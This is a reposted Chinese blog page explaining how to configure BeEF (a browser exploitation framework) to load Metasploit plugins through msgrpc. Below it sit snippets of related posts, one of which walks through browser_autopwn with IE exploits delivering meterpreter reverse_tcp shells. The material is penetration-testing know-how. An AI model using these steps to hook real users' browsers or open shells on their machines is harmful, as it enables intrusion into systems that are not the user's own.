Beef加载MSF插件

最新推荐文章于 2022-10-24 10:59:35 发布
最新推荐文章于 2022-10-24 10:59:35 发布
阅读量251 收藏
点赞数
原文链接：http://www.cnblogs.com/pangya/p/10076878.html
版权

beef  的默认路径：/usr/share/beef-xss

1.修改配置文件，开启msf。

leafpad /usr/share/beef-xss/config.yaml

打开配置文件，修改如图

另一处修改

leafpad /usr/share/beef-xss/extensions/metasploit/config.yaml

配置成功后，开启msf加载

load msgrpc ServerHost=172.16.222.95 Pass=abc123

然后进去beef 的目录  去加载当前的所有模块

./beef -x

加载完成。

转载于:https://www.cnblogs.com/pangya/p/10076878.html

weixin_30512089
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用Beef劫持客户端浏览器并进一步使用Beef+msf拿客户端shell
MickeyMouse1928的博客
04-08 2万+
利用Beef劫持客户端浏览器   环境： 1．Kali（使用beef生成恶意代码，IP：192.168.114.140） 2．一台web服务器（留言板存在XSS跨站脚本漏洞，IP：192.168.114.204） 3. 客户端（用于访问web服务器，IP：192.168.114.130） 步骤： 1. Kali使用beef生成恶意代码 2. 将恶意代码写入192.168.114.2
metasploit中可以用最新beef插件
05-04
下载beef 解压到 /pentest/web/beef/ cd /pentest/web/beef/ curl -L get.rvm.io | bash -s stable rvm install 1.9.3 rvm use 1.9.3 ##rvm remove 1.9.2 ruby -v gem install bundler bundle install ./beef 生成一个beef.rc的文件，内容是 load msgrpc ServerHost=127.0.0.1 Pass=abc123 cd /opt/metasploit/apps/pro/msf3/ msfconsole -r beef.rc cd /pentest/web/beef/ ./beef use auxiliary/server/browser_autopwn set LHOST youip set LHOST 192.168.1.164 run Starting exploit windows/browser/ms10_018_ie_behaviors with payload windows/meterpreter/reverse_tcp winxpsp3 ------------------------------- [*]1 Starting exploit windows/browser/ntr_activex_check_bof with payload windows/meterpreter/reverse_tcp win7可以用2个漏洞 2Starting exploit windows/browser/ntr_activex_stopmodule with payload windows/meterpreter/reverse_tcp ---------------------------------- sessions -i 1 使用session sessions -l所有session 然后meterpater 使用shell， 具体请到http://user.qzone.qq.com/609005832/2查看详细 或http://blog.csdn.net/oshuangyue12/article/details/24987881
内网渗透 Metasploit（MSF）基础使用
qq_49433473的博客
10-24 1万+
内网渗透 Metasploit（MSF）使用，信息搜集，模块详解，端口扫描，反弹shell
渗透测试工具篇之Metasploit（MSF）扫描模块的简单使用
lzp_5257的博客
04-26 5685
提示：文章内容仅用于渗透测试研究学习，请勿用于非法测试 前言 MSF扫描模块的作用就是帮助我们进行信息收集 一、MSF与nmap的调用 漏洞扫描命令：(使用vuln脚本进行全面的漏洞扫描) db_nmap --script=vuln 192.168.xxx.xxx 指纹识别扫描命令：(扫描系统和程序版本号检测，并输出详细信息) db_nmap -sV -v 193.168.xxx.xxx 二、使用步骤 1.引入库 代码如下（示例）： import numpy as np import panda.
webwell安全工具-BeEF
凯歌响起的博客
09-05 1908
​ BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。​ BeEF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。
msfconsole漏洞扫描工具详解
有勇气的牛排博客
07-24 6922
目录1 msfconsole 介绍 1 msfconsole 介绍 msfconsole 简称 msf 是一款常用的安全测试工具，包含了常见的漏洞利用模块和生成各种木马，其提供了一个一体化的集中控制台，通过msfconsole，你可以访问和使用所有的metaslopit插件，payload，利用模块，post模块等等。msfconsole还有第三方程序的接口，比如nmap、sqlmap等，可以直接在msfconsole里面使用。 kali可直接在命令使用： msfconsole Msfconsole的系统
beef插件翻译.docx
12-09
Beef 插件翻译文档 Beef 插件是一个功能强大且广泛使用的渗透测试工具，它提供了多种模块来实现不同的攻击和信息收集任务。下面是 Beef 插件翻译文档中的知识点总结： 1. Module Tree（模块树）： Module Tree 是...
Metasploit+beef攻击实验
10-12
BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。
vasp.5.4.4&beef-src.tar.xz
03-20
VASP+BEEF beef-vdW全称为Bayesian error estimation functional with van der Waals correlation， 是DTU在2012年做出来的一个新泛函，目前和Quantum Espresso，VASP，GPAW均有接口。具体的编译过程可以参考SUNCAT...
kali-beef攻击浏览器-运维安全详细笔记总结
最新发布
06-30
kali-beef攻击浏览器-运维安全详细笔记总结
Web权限&权限划分
weixin_54882883的博客
08-29 1529
后台或网站权限后的获取途径：后台（修改配置信息功能点），网站权限（查看的配置文件获取），系统中 API 暴露到互联网上会存在一定的安全风险，: 爬虫、恶意访问等等。操作数据库的权限，数据库的增删改等，源码或配置文件泄漏，也可能是网站权限(webshell)进行的数据库配置文件读取获得。那么权限提升他的意义就是：当前的权限无法满足需要的操作，通过权限提升的技术，提升当前的权限来实现想要的操作。Web权限其实就是网站权限，获取Web权限其实就是获取这个网站的权限。管理员UID为0：系统的管理员用户。...
Metasploit(MSF)基础超级详细版
懂进攻知防守
08-02 1万+
The Metasploit Framework 的简称。 MSF 高度模块化，即框架由多个 module 组成，是全球最受欢迎的渗透测试工具之一。 是一款开源安全漏洞利用和测试工具，集成了各种平台上常见的溢出漏洞和流行的shellcode ，并持续保持更新。 metasploit 涵盖了渗透测试中全过程，你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。 ............
【常用工具】MSF使用教程（一）漏洞扫描与利用（以永恒之蓝漏洞复现为例）
热门推荐
Fighting_hawk的博客
03-27 2万+
1. 了解MSF框架的使用方法。 2. 了解永恒之蓝漏洞。
Beef加载msf插件---metasploit对IE浏览器的极光漏洞进行渗透利用
wkend的博客
03-22 1578
1.配置文件的修改 输入下列命令，打开配置文件， 在图中所示的地方，作出如下修改 再接着输入以下命令，打开另一个配置文件 注意下图所示的三个地方，以及user和pass 接下来切换到beef主目录之下 再开一个终端，输入msfconsole,打开msf 控制台,输入下列命令 在另一个开启的终端（就是包含beef可执行文件的目录）下输入以下命...
kali beef + msf整合 可用配置
x631617479的博客
12-30 833
配置beef开启msf vim /usr/share/beef-xss/config,yaml 开启msf配置 vim /usr/share/beef-xss/extensions/metasploit/config.yaml 启动beef 一定要先到beef路径 使用./ 启动 cd /usr/share/beef-xss/ ./beef 判断是否成功 ...
BeEF+msf对用户浏览器的攻击测试
liveJQ
02-08 2427
什么是BeEF？ BeEF是The Browser Exploitation Framework的缩写，用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。它是一种专注于Web浏览器的渗透测试工具。 随着对包括移动客户端在内的客户网络攻击的担忧日益增加，BeEF允许专业渗透测试人员使用客户端攻击媒介来评估目标环境的实际安全状况。与其他安全框架不同，BeEF超越了强...
Kali BeEF MSF的使用
baynk的博客
05-14 1509
0x00 BeEF BeEF（ The Browser Exploitation Framework） 是由Wade Alcorn 在2006年开始创建的，是由ruby语言开发的专门针对浏览器攻击的框架。BeeF是前欧美最流行的web框架攻击平台，kali 集成BeEf，而且BeEf有很多好使的payload。例如BeEF可以通过一段编制好的javascript控制目标主机的浏览器，通过浏览器拿到各种信息并且扫描内网信息，同时能够配合metasploit进一步渗透主机。 不过在目前，BeEF使用的人比较少，
Beef和Metasploit的结合
weixin_30633507的博客
10-21 382
先上一张beEF的界面图： 现在我们开始把beEF和metasploit给关联起来，首先我们需要了解下beEF和metasploit的几个目录。 beEF的目录是在：/usr/share/beef-xss下 metasploit的两个目录分别是：/opt/metasploit 和/usr/share/metasploit-frame...
Metasploit msfd插件实现远程访问msf
ropin_os的专栏
03-18 4128
linux下：        //进入msfd sudo msfd //打开连接 msfd -a -P //查看端口是否打开 netstat -tn //远程连接msf nc windows下：//打开连接 msf> load msfd ServerName=你的IP地址 ServerPort=你的端口 //查看连接 netstat -na //访问使用telnet telnet   window下可能会出现乱码，这里推荐使用一款开源的软件 putty，附上简单的使用说
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值